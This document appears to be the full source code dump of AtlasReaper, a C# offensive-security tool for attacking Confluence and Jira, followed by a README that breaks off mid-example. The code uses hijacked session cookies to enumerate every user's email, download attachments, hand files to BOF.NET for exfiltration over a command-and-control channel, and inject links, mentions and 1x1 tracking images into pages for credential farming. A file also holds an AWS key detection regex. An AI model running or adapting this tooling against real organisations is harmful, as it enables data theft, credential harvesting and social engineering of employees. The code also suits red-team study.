├── AtlasReaper ├── FodyWeavers.xml ├── Utils │ ├── Regex.cs │ ├── FileUtils.cs │ └── WebRequestHandler.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── Jira │ ├── DownloadBOFNET.cs │ ├── Download.cs │ ├── Attach.cs │ ├── Users.cs │ ├── AddComment.cs │ ├── CreateIssue.cs │ ├── Search.cs │ ├── Projects.cs │ ├── Attachments.cs │ └── Issues.cs ├── App.config ├── Confluence │ ├── DownloadBOFNET.cs │ ├── Auth.cs │ ├── Download.cs │ ├── Link.cs │ ├── Embed.cs │ ├── Search.cs │ ├── Spaces.cs │ ├── Attach.cs │ ├── Pages.cs │ └── Attachments.cs ├── packages.config ├── BOFNET.cs ├── AtlasReaper.csproj ├── Options │ ├── JiraOptions.cs │ └── ConfluenceOptions.cs └── ArgHandler.cs ├── AtlasReaper.sln ├── README.md └── .gitignore /AtlasReaper/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /AtlasReaper/Utils/Regex.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace AtlasReaper.Utils 4 | { 5 | class Regex 6 | { 7 | Dictionary regexMap = new Dictionary 8 | { 9 | // These are taken from Nosey Parker 10 | // https://github.com/praetorian-inc/noseyparker 11 | 12 | { "AWS API Key", @"/((?:A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16})/" }, 13 | }; 14 | } 15 | } 16 | 17 | -------------------------------------------------------------------------------- /AtlasReaper/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace AtlasReaper 4 | { 5 | class Program 6 | { 7 | public static void Main(string[] args) 8 | { 9 | try 10 | { 11 | // Create an instance of ArgHandler 12 | ArgHandler argHandler = new ArgHandler(); 13 | 14 | // Invoke the HandleArgs method 15 | argHandler.HandleArgs(args); 16 | } 17 | catch (Exception ex) 18 | { 19 | Console.WriteLine("An error occured: " + ex.Message); 20 | } 21 | 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /AtlasReaper/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("AtlasReaper")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyProduct("AtlasReaper")] 12 | [assembly: AssemblyTrademark("")] 13 | [assembly: AssemblyCulture("")] 14 | 15 | // Setting ComVisible to false makes the types in this assembly not visible 16 | // to COM components. If you need to access a type in this assembly from 17 | // COM, set the ComVisible attribute to true on that type. 18 | [assembly: ComVisible(false)] 19 | 20 | // The following GUID is for the ID of the typelib if this project is exposed to COM 21 | [assembly: Guid("05c1ea18-581e-48de-b25d-d7df8498c463")] 22 | 23 | // Version information for an assembly consists of the following four values: 24 | // 25 | // Major Version 26 | // Minor Version 27 | // Build Number 28 | // Revision 29 | // 30 | // You can specify all the values or you can default the Build and Revision Numbers 31 | // by using the '*' as shown below: 32 | // [assembly: AssemblyVersion("1.0.*")] 33 | [assembly: AssemblyVersion("1.0.0.0")] 34 | [assembly: AssemblyFileVersion("1.0.0.0")] 35 | [assembly: AssemblyCopyright("")] 36 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/DownloadBOFNET.cs: -------------------------------------------------------------------------------- 1 | using AtlasReaper.Options; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | 7 | namespace AtlasReaper.Jira 8 | { 9 | internal class DownloadBOFNET 10 | { 11 | internal void DownloadAttachmentsThroughBOFNET(JiraOptions.DownloadBOFNETOptions options) 12 | { 13 | try 14 | { 15 | List attachmentIds = options.Attachments.Split(',').ToList(); 16 | foreach (string attachmentId in attachmentIds) 17 | { 18 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 19 | string url = options.Url + "/rest/api/3/attachment/" + attachmentId; 20 | Attachment attachment = webRequestHandler.GetJson(url, options.Cookie); 21 | string downloadUrl = attachment.Content; 22 | string fileName = attachment.FileName; 23 | MemoryStream fileInMemory = webRequestHandler.GetFileInMemory(downloadUrl, options.Cookie); 24 | if (fileInMemory != null) 25 | { 26 | BOFNET.bofnet.PassDownloadFile(fileName, ref fileInMemory); 27 | } 28 | } 29 | } 30 | catch (Exception ex) 31 | { 32 | Console.WriteLine("An error occurred while downloading attachments: " + ex.Message); 33 | } 34 | 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /AtlasReaper.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31424.327 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AtlasReaper", "AtlasReaper\AtlasReaper.csproj", "{05C1EA18-581E-48DE-B25D-D7DF8498C463}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {05C1EA18-581E-48DE-B25D-D7DF8498C463}.Debug|Any CPU.ActiveCfg = Release|Any CPU 17 | {05C1EA18-581E-48DE-B25D-D7DF8498C463}.Debug|Any CPU.Build.0 = Release|Any CPU 18 | {05C1EA18-581E-48DE-B25D-D7DF8498C463}.Debug|x64.ActiveCfg = Debug|x64 19 | {05C1EA18-581E-48DE-B25D-D7DF8498C463}.Debug|x64.Build.0 = Debug|x64 20 | {05C1EA18-581E-48DE-B25D-D7DF8498C463}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {05C1EA18-581E-48DE-B25D-D7DF8498C463}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {05C1EA18-581E-48DE-B25D-D7DF8498C463}.Release|x64.ActiveCfg = Release|x64 23 | {05C1EA18-581E-48DE-B25D-D7DF8498C463}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8380DBFD-145C-4D17-92FB-C12BE89CD7C0} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /AtlasReaper/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/Download.cs: -------------------------------------------------------------------------------- 1 | using AtlasReaper.Options; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | 6 | namespace AtlasReaper.Jira 7 | { 8 | class Download 9 | { 10 | internal void DownloadAttachments(JiraOptions.DownloadOptions options) 11 | { 12 | try 13 | { 14 | List attachmentIds = options.Attachments.Split(',').ToList(); 15 | 16 | // Iterate over each attachment id supplied 17 | foreach (string attachmentId in attachmentIds) 18 | { 19 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 20 | 21 | // Construct url to return attachment information 22 | string url = options.Url + "/rest/api/3/attachment/" + attachmentId; 23 | 24 | // Get attachment information 25 | Attachment attachment = webRequestHandler.GetJson(url, options.Cookie); 26 | 27 | // Construct download url and file name 28 | string downloadUrl = attachment.Content; 29 | string fileName = attachment.FileName; 30 | 31 | // Set path for file 32 | string fullPath = options.OutputDir + fileName; 33 | 34 | // Download the attachment 35 | webRequestHandler.DownloadFile(downloadUrl, options.Cookie, fullPath); 36 | } 37 | } 38 | catch (Exception ex) 39 | { 40 | Console.WriteLine("An error occurred while downloading attachments: " + ex.Message); 41 | } 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/DownloadBOFNET.cs: -------------------------------------------------------------------------------- 1 | using AtlasReaper.Options; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | 7 | namespace AtlasReaper.Confluence 8 | { 9 | internal class DownloadBOFNET 10 | { 11 | internal void DownloadAttachmentsThroughBOFNET(ConfluenceOptions.DownloadBOFNETOptions options) 12 | { 13 | try 14 | { 15 | List attachments = options.Attachments.Split(',').ToList(); 16 | foreach (string attachment in attachments) 17 | { 18 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 19 | string url = options.Url + "/wiki/rest/api/search?cql=type=attachment+AND+Id=" + attachment + "&expand=content.extensions"; 20 | RootAttachmentsObject attachmentObj = webRequestHandler.GetJson(url, options.Cookie); 21 | string downloadUrl = options.Url + "/wiki" + attachmentObj.Results[0].AttachmentContent._ContentLinks.Download; 22 | string fileName = attachmentObj.Results[0].AttachmentContent.Title; 23 | MemoryStream fileInMemory = webRequestHandler.GetFileInMemory(downloadUrl, options.Cookie); 24 | if (fileInMemory != null) 25 | { 26 | BOFNET.bofnet.PassDownloadFile(fileName, ref fileInMemory); 27 | } 28 | } 29 | } 30 | catch (Exception ex) 31 | { 32 | Console.WriteLine("An error occurred while downloading attachments: " + ex.Message); 33 | } 34 | 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/Auth.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | 4 | 5 | 6 | namespace AtlasReaper.Confluence 7 | { 8 | public class Auth 9 | { 10 | // Sends email to the user!! 11 | // Look into creating an API token 12 | // POST https://id.atlassian.com/manage/rest/api-tokens 13 | // data: 14 | // {"label":"testtoken"} 15 | // cloud.session.token 16 | 17 | // response 18 | // {"passwordValue":""} 19 | public static void CheckAuth(string url, string cookie) 20 | { 21 | try 22 | { 23 | // Check cookie if supplied or attempt anonymous access 24 | var webRequestHandler = new Utils.WebRequestHandler(); 25 | string authCheckUrl = url + "/wiki/rest/api/user/current"; 26 | User user; 27 | 28 | // Get user information 29 | user = webRequestHandler.GetJson(authCheckUrl, cookie); 30 | 31 | if (user.DisplayName != null) 32 | { 33 | Console.WriteLine("Authenticated as: " + user.DisplayName); 34 | } 35 | else 36 | { 37 | throw new InvalidOperationException("An error occurred while checking authentication (Session expired or invalid)"); 38 | } 39 | } 40 | catch (Exception ex) 41 | { 42 | throw new Exception(ex.Message); 43 | 44 | } 45 | } 46 | } 47 | 48 | public class User 49 | { 50 | [JsonProperty("displayName")] 51 | public string DisplayName { get; set; } 52 | //[JsonProperty("message")] 53 | //public string Message { get; set; } 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/Download.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using AtlasReaper.Options; 5 | 6 | namespace AtlasReaper.Confluence 7 | { 8 | internal class Download 9 | { 10 | internal void DownloadAttachments(ConfluenceOptions.DownloadOptions options) 11 | { 12 | try 13 | { 14 | List attachments = options.Attachments.Split(',').ToList(); 15 | 16 | // Iterate over each attachment id supplied 17 | foreach (string attachment in attachments) 18 | { 19 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 20 | 21 | // Construct url to return attachment information 22 | string url = options.Url + "/wiki/rest/api/search?cql=type=attachment+AND+Id=" + attachment + "&expand=content.extensions"; 23 | 24 | // Get attachment information 25 | RootAttachmentsObject attachmentObj = webRequestHandler.GetJson(url, options.Cookie); 26 | 27 | // Construct download url and file name 28 | string downloadUrl = options.Url + "/wiki" + attachmentObj.Results[0].AttachmentContent._ContentLinks.Download; 29 | string fileName = attachmentObj.Results[0].AttachmentContent.Title; 30 | 31 | // Set path for file 32 | string fullPath = options.OutputDir + fileName; 33 | 34 | // Download the attachment 35 | webRequestHandler.DownloadFile(downloadUrl, options.Cookie, fullPath); 36 | } 37 | } 38 | catch (Exception ex) 39 | { 40 | Console.WriteLine("An error occurred while downloading attachments: " + ex.Message); 41 | } 42 | 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /AtlasReaper/Utils/FileUtils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace AtlasReaper.Utils 5 | { 6 | class FileUtils 7 | { 8 | internal static bool CanWriteToDirectory(string directoryPath) 9 | { 10 | try 11 | { 12 | string testFilePath = Path.Combine(directoryPath, Guid.NewGuid().ToString() + ".tmp"); 13 | using (FileStream fileStream = File.Create(testFilePath)) 14 | { 15 | fileStream.Close(); 16 | } 17 | File.Delete(testFilePath); 18 | return true; 19 | } 20 | catch (UnauthorizedAccessException) 21 | { 22 | return false; 23 | } 24 | catch (Exception) 25 | { 26 | return false; 27 | } 28 | } 29 | 30 | internal static string GetFileName(string filePath) 31 | { 32 | string fullPath; 33 | if (Path.IsPathRooted(filePath)) 34 | { 35 | fullPath = Path.GetFullPath(filePath); 36 | } 37 | else 38 | { 39 | string currentDirectory = Environment.CurrentDirectory; 40 | fullPath = Path.Combine(currentDirectory, filePath); 41 | Console.WriteLine(fullPath); 42 | } 43 | string directory = Path.GetDirectoryName(fullPath); 44 | string fileName = Path.GetFileName(fullPath); 45 | 46 | if (File.Exists(fullPath)) 47 | { 48 | Console.WriteLine("File already exists. Please choose a different file name."); 49 | return fullPath; 50 | } 51 | 52 | if (!Directory.Exists(directory)) 53 | { 54 | Console.WriteLine("Invalid directory. Please specify a valid directory."); 55 | return fullPath; 56 | } 57 | 58 | if (!FileUtils.CanWriteToDirectory(directory)) 59 | { 60 | Console.WriteLine("Unable to write to the specified directory. Please choose a different location."); 61 | return fullPath; 62 | } 63 | 64 | return fullPath; 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/Attach.cs: -------------------------------------------------------------------------------- 1 | using AtlasReaper.Options; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace AtlasReaper.Jira 10 | { 11 | class Attach 12 | { 13 | internal void AttachFile(JiraOptions.AttachOptions options) 14 | { 15 | try 16 | { 17 | string url = options.Url + "/rest/api/3/issue/" + options.Issue + "/attachments"; 18 | string fileName = options.Name; 19 | 20 | 21 | if (options.File != null) 22 | { 23 | if (options.Issue == null) 24 | { 25 | Console.WriteLine("Please specify an issue with -i/--issue"); 26 | return; 27 | } 28 | if (options.Name == null) 29 | { 30 | fileName = Path.GetFileName(options.File); 31 | } 32 | 33 | List attachmentList = UploadFile(url, options, fileName); 34 | if (attachmentList.Count < 1) 35 | { 36 | Console.WriteLine("Attachment already exists with the name " + fileName); 37 | Console.WriteLine(); 38 | Console.WriteLine(" Use -a/--attachment to specify an existing attachment"); 39 | return; 40 | } 41 | 42 | Console.WriteLine("Uploaded " + fileName); 43 | Console.WriteLine("Attachment Id: " + attachmentList[0].Id); 44 | 45 | //AttachPage(attachmentObject.Results[0].Title, options); 46 | } 47 | 48 | } 49 | catch (Exception ex) 50 | { 51 | Console.WriteLine("Error occurred while attaching files: " + ex.Message); 52 | } 53 | 54 | } 55 | 56 | private List UploadFile(string url, JiraOptions.AttachOptions options, string fileName) 57 | { 58 | FormData formData = new FormData 59 | { 60 | //comment = options.Comment, 61 | file = File.ReadAllBytes(options.File) 62 | }; 63 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 64 | List attachmentList = webRequestHandler.PostForm>(url, options.Cookie, formData, fileName); 65 | 66 | return attachmentList; 67 | } 68 | 69 | internal class FormData 70 | { 71 | //public string comment { get; set; } 72 | public byte[] file { get; set; } 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /AtlasReaper/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/Link.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | 6 | namespace AtlasReaper.Confluence 7 | { 8 | internal class Link 9 | { 10 | internal void AddLink(Options.ConfluenceOptions.LinkOptions options) 11 | { 12 | try 13 | { 14 | string linkMessage = ""; 15 | 16 | if (options.At != null) 17 | { 18 | List ats = options.At.Split(',').ToList(); 19 | linkMessage += "

"; 20 | foreach (string at in ats) 21 | { 22 | linkMessage += ""; 23 | } 24 | if (options.Message != null) 25 | { 26 | linkMessage += " " + options.Message; 27 | } 28 | linkMessage += " " + options.Text + "

"; 29 | } 30 | else if (options.Message != null && options.At == null) 31 | { 32 | linkMessage += "

" + options.Message; 33 | linkMessage += " " + options.Text + "

"; 34 | } 35 | else 36 | { 37 | linkMessage += " " + options.Text + ""; 38 | } 39 | 40 | // Build page url 41 | string pageUrl = options.Url + "/wiki/api/v2/pages/" + options.Page + "?body-format=storage"; 42 | 43 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 44 | 45 | // GET page 46 | Page page = webRequestHandler.GetJson(pageUrl, options.Cookie); 47 | 48 | PutBody putBody = new PutBody(); 49 | 50 | putBody.Id = page.Id; 51 | putBody.Status = page.Status; 52 | putBody.Title = page.Title; 53 | putBody.SpaceId = page.SpaceId; 54 | putBody.Body = page.Body; 55 | putBody.Body.Storage.Value += linkMessage; 56 | putBody.Body.Storage.Representation = "storage"; 57 | putBody.Version = page.Version; 58 | putBody.Version.Number += 1; 59 | 60 | string serializedPage = JsonConvert.SerializeObject(putBody); 61 | 62 | // PUT page 63 | webRequestHandler.PutJson(pageUrl, options.Cookie, serializedPage); 64 | 65 | // Get page to show updated page 66 | 67 | // GET page 68 | page = webRequestHandler.GetJson(pageUrl, options.Cookie); 69 | Console.WriteLine("Created link on page id: " + options.Page); 70 | Console.WriteLine("Output of " + page.Title + " after update."); 71 | Console.WriteLine(); 72 | Console.WriteLine(page.Body.Storage.Value); 73 | } 74 | catch (Exception ex) 75 | { 76 | Console.WriteLine("Error occurred while adding link: " + ex.Message); 77 | } 78 | 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/Users.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using AtlasReaper.Options; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.IO; 6 | using System.Linq; 7 | 8 | namespace AtlasReaper.Jira 9 | { 10 | internal class Users 11 | { 12 | internal void ListUsers(JiraOptions.ListUsersOptions options) 13 | { 14 | try 15 | { 16 | // Get All Users 17 | // GET /rest/api/3/users/search?maxResults=200&startAt=200 18 | int count = 0; 19 | int pageSize = 200; 20 | bool moreUsers = true; 21 | 22 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 23 | 24 | List allUsers = new List(); 25 | 26 | 27 | while (moreUsers) 28 | { 29 | string url = options.Url + "/rest/api/3/users/search?maxResults=200&startAt=" + count.ToString(); 30 | List users = webRequestHandler.GetJson>(url, options.Cookie); 31 | allUsers.AddRange(users); 32 | 33 | count += pageSize; 34 | 35 | if (users.Count < pageSize) 36 | { 37 | moreUsers = false; 38 | } 39 | } 40 | if (options.outfile != null) 41 | { 42 | using (StreamWriter writer = new StreamWriter(options.outfile)) 43 | { 44 | PrintUsers(allUsers, options.Full, writer); 45 | } 46 | } 47 | else 48 | { 49 | PrintUsers(allUsers, options.Full, Console.Out); 50 | } 51 | } 52 | catch (Exception ex) 53 | { 54 | Console.WriteLine("Error occurred while listing users: " + ex.Message); 55 | 56 | } 57 | 58 | } 59 | 60 | private void PrintUsers(List Users, bool full, TextWriter writer) 61 | { 62 | try 63 | { 64 | Users = Users.OrderBy(o => o.EmailAddress).ToList(); 65 | for (int i = 0; i < Users.Count; i++) 66 | { 67 | User user = Users[i]; 68 | if (user.EmailAddress != null) 69 | { 70 | if (full) 71 | { 72 | writer.WriteLine("User Name : " + user.DisplayName); 73 | writer.WriteLine("User Id : " + user.AccountId ); 74 | writer.WriteLine("Active : " + user.Active.ToString()); 75 | } 76 | writer.WriteLine("User Email: " + user.EmailAddress); 77 | writer.WriteLine(); 78 | } 79 | } 80 | } 81 | catch (Exception ex) 82 | { 83 | Console.WriteLine("Error occurred while printing users: " + ex.Message); 84 | } 85 | } 86 | } 87 | 88 | internal class User 89 | { 90 | [JsonProperty("accountId")] 91 | internal string AccountId { get; set; } 92 | 93 | [JsonProperty("accountType")] 94 | internal string AccountType { get; set; } 95 | 96 | [JsonProperty("active")] 97 | internal bool Active { get; set; } 98 | 99 | [JsonProperty("displayName")] 100 | internal string DisplayName { get; set; } 101 | 102 | [JsonProperty("emailAddress")] 103 | internal string EmailAddress { get; set; } 104 | 105 | [JsonProperty("name")] 106 | internal string Name { get; set; } 107 | 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /AtlasReaper/Confluence/Embed.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using AtlasReaper.Options; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | 7 | namespace AtlasReaper.Confluence 8 | { 9 | internal class Embed 10 | { 11 | internal void EmbedIframe(ConfluenceOptions.EmbedOptions options) 12 | { 13 | try 14 | { 15 | string imgMessage = ""; 16 | if (options.At != null) 17 | { 18 | List ats = options.At.Split(',').ToList(); 19 | imgMessage += "

"; 20 | foreach (string at in ats) 21 | { 22 | imgMessage += ""; 23 | } 24 | imgMessage += "

"; 25 | } 26 | if (options.Message != null) 27 | { 28 | imgMessage += options.Message; 29 | } 30 | // Build embed iframe 31 | //embedIframe += "

1hide1"; 32 | 33 | imgMessage = ""; 34 | 35 | // Build page url 36 | string pageUrl = options.Url + "/wiki/api/v2/pages/" + options.Page + "?body-format=storage"; 37 | 38 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 39 | 40 | // GET page 41 | Page page = webRequestHandler.GetJson(pageUrl, options.Cookie); 42 | 43 | PutBody putBody = new PutBody(); 44 | 45 | putBody.Id = page.Id; 46 | putBody.Status = page.Status; 47 | putBody.Title = page.Title; 48 | putBody.SpaceId = page.SpaceId; 49 | putBody.Body = page.Body; 50 | putBody.Body.Storage.Value += imgMessage; 51 | putBody.Body.Storage.Representation = "storage"; 52 | putBody.Version = page.Version; 53 | putBody.Version.Number += 1; 54 | 55 | string serializedPage = JsonConvert.SerializeObject(putBody); 56 | 57 | // PUT page 58 | webRequestHandler.PutJson(pageUrl, options.Cookie, serializedPage); 59 | 60 | // GET page 61 | page = webRequestHandler.GetJson(pageUrl, options.Cookie); 62 | Console.WriteLine("Embedded image on page id: " + page.Id); 63 | Console.WriteLine("Output of " + page.Title + " after update."); 64 | Console.WriteLine(); 65 | Console.WriteLine(page.Body.Storage.Value); 66 | } 67 | catch (Exception ex) 68 | { 69 | Console.WriteLine("Error occurred while embedding image: " + ex.Message); 70 | } 71 | 72 | 73 | } 74 | 75 | } 76 | 77 | internal class PutBody 78 | { 79 | [JsonProperty("id")] 80 | internal string Id { get; set; } 81 | [JsonProperty("status")] 82 | internal string Status { get; set; } 83 | [JsonProperty("title")] 84 | internal string Title { get; set; } 85 | [JsonProperty("spaceId")] 86 | internal string SpaceId { get; set; } 87 | [JsonProperty("body")] 88 | internal Body Body { get; set; } 89 | [JsonProperty("version")] 90 | internal Version Version { get; set; } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/AddComment.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace AtlasReaper.Jira 6 | { 7 | internal class AddComment 8 | { 9 | 10 | internal void CommentAdd(Options.JiraOptions.AddCommentOptions options) 11 | { 12 | try 13 | { 14 | string linkText = options.Text; 15 | string commentUrl = options.Url + "/rest/api/3/issue/" + options.Issue + "/comment"; 16 | 17 | 18 | Root root = new Root 19 | { 20 | Body = new Body 21 | { 22 | Version = 1, 23 | Type = "doc", 24 | ContentList = new List() 25 | } 26 | }; 27 | 28 | 29 | Content textParagraph = new Content 30 | { 31 | Type = "paragraph", 32 | CommentContents = new List() 33 | }; 34 | 35 | if (options.At != null) 36 | { 37 | CommentContent mention = new CommentContent 38 | { 39 | Type = "mention", 40 | Attrs = new Attrs 41 | { 42 | Id = options.At, 43 | AccessLevel = "" 44 | } 45 | }; 46 | textParagraph.CommentContents.Add(mention); 47 | } 48 | 49 | if (options.Message != null) 50 | { 51 | CommentContent commentMessage = new CommentContent 52 | { 53 | Type = "text", 54 | Text = " " + options.Message 55 | }; 56 | 57 | textParagraph.CommentContents.Add(commentMessage); 58 | } 59 | 60 | if (textParagraph.CommentContents.Count > 0) 61 | { 62 | root.Body.ContentList.Add(textParagraph); 63 | } 64 | 65 | 66 | 67 | Content linkParagraph = new Content 68 | { 69 | Type = "paragraph", 70 | CommentContents = new List() 71 | }; 72 | 73 | if (options.Link != null) 74 | { 75 | CommentContent linkContent = new CommentContent 76 | { 77 | Type = "text", 78 | Text = linkText, 79 | Marks = new List 80 | { 81 | new Mark 82 | { 83 | Type = "link", 84 | Attrs = new Attrs 85 | { 86 | Href = options.Link 87 | } 88 | } 89 | } 90 | }; 91 | 92 | linkParagraph.CommentContents.Add(linkContent); 93 | root.Body.ContentList.Add(linkParagraph); 94 | } 95 | 96 | 97 | 98 | JsonSerializerSettings settings = new JsonSerializerSettings 99 | { 100 | NullValueHandling = NullValueHandling.Ignore 101 | }; 102 | 103 | string json = JsonConvert.SerializeObject(root, Formatting.None, settings); 104 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 105 | 106 | webRequestHandler.PostJson(commentUrl, options.Cookie, json); 107 | } 108 | catch (Exception ex) 109 | { 110 | Console.WriteLine("Error occurred adding comment: " + ex.Message); 111 | } 112 | 113 | } 114 | } 115 | 116 | internal class Root 117 | { 118 | [JsonProperty("body")] 119 | internal Body Body { get; set; } 120 | } 121 | } 122 | 123 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AtlasReaper 2 | 3 | AtlasReaper is a command-line tool developed for offensive security purposes, primarily focused on reconnaissance of Confluence and Jira. It also provides various features that can be helpful for tasks such as credential farming and social engineering. The tool is written in C#. 4 | 5 | Blog post: [Sowing Chaos and Reaping Rewards in Confluence and Jira](https://medium.com/specter-ops-posts/sowing-chaos-and-reaping-rewards-in-confluence-and-jira-7a90ba33bf62) 6 | 7 | Detailed usage instructions can be found on the repo's [wiki](https://github.com/werdhaihai/AtlasReaper/wiki) 8 | 9 | ``` 10 | .@@@@ 11 | @@@@@ 12 | @@@@@ @@@@@@@ 13 | @@@@@ @@@@@@@@@@@ 14 | @@@@@ @@@@@@@@@@@@@@@ 15 | @@@@, @@@@ *@@@@ 16 | @@@@ @@@ @@ @@@ .@@@ 17 | _ _ _ ___ @@@@@@@ @@@@@@ 18 | /_\| |_| |__ _ __| _ \___ __ _ _ __ ___ _ _ @@ @@@@@@@@ 19 | / _ \ _| / _` (_-< / -_) _` | '_ \/ -_) '_| @@ @@@@@@@@ 20 | /_/ \_\__|_\__,_/__/_|_\___\__,_| .__/\___|_| @@@@@@@@ &@ 21 | |_| @@@@@@@@@@ @@& 22 | @@@@@@@@@@@@@@@@@ 23 | @@@@@@@@@@@@@@@@. @@ 24 | @werdhaihai 25 | ``` 26 | 27 | ## Usage 28 | 29 | AtlasReaper uses commands, subcommands, and options. The format for executing commands is as follows: 30 | 31 | `.\AtlasReaper.exe [command] [subcommand] [options]` 32 | 33 | Replace `[command]`, `[subcommand]`, and `[options]` with the appropriate values based on the action you want to perform. For more information about each command or subcommand, use the `-h` or `--help` option. 34 | 35 | Below is a list of available commands and subcommands: 36 | 37 | ### Commands 38 | 39 | Each command has sub commands for interacting with the specific product. 40 | 41 | - `confluence` 42 | - `jira` 43 | 44 | ### Subcommands 45 | 46 | #### Confluence 47 | 48 | - `confluence attach` - Attach a file to a page. 49 | - `confluence download` - Download an attachment. 50 | - `confluence embed` - Embed a 1x1 pixel image to perform farming attacks. 51 | - `confluence link` - Add a link to a page. 52 | - `confluence listattachments` - List attachments. 53 | - `confluence listpages` - List pages in Confluence. 54 | - `confluence listspaces` - List spaces in Confluence. 55 | - `confluence search` - Search Confluence. 56 | - `confluence downloadBOFNET` - Download attachment(s) through BOF.NET. 57 | 58 | #### Jira 59 | 60 | - `jira addcomment` - Add a comment to an issue. 61 | - `jira attach` - Attach a file to an issue. 62 | - `jira createissue` - Create a new issue. 63 | - `jira download` - Download attachment(s) from an issue. 64 | - `jira listattachments` - List attachments on an issue. 65 | - `jira listissues` - List issues in Jira. 66 | - `jira listprojects` - List projects in Jira. 67 | - `jira listusers` - List Atlassian users. 68 | - `jira searchissues` - Search issues in Jira. 69 | - `jira downloadBOFNET` - Download attachment(s) through BOF.NET. 70 | 71 | 72 | #### Common Commands 73 | 74 | - `help` - Display more information on a specific command. 75 | 76 | 77 | ## Examples 78 | 79 | Here are a few examples of how to use AtlasReaper: 80 | 81 | - Search for a keyword in Confluence with wildcard search: 82 | 83 | `.\AtlasReaper.exe confluence search --query "http*example.com*" --url $url --cookie $cookie` 84 | 85 | - Attach a file to a page in Confluence: 86 | 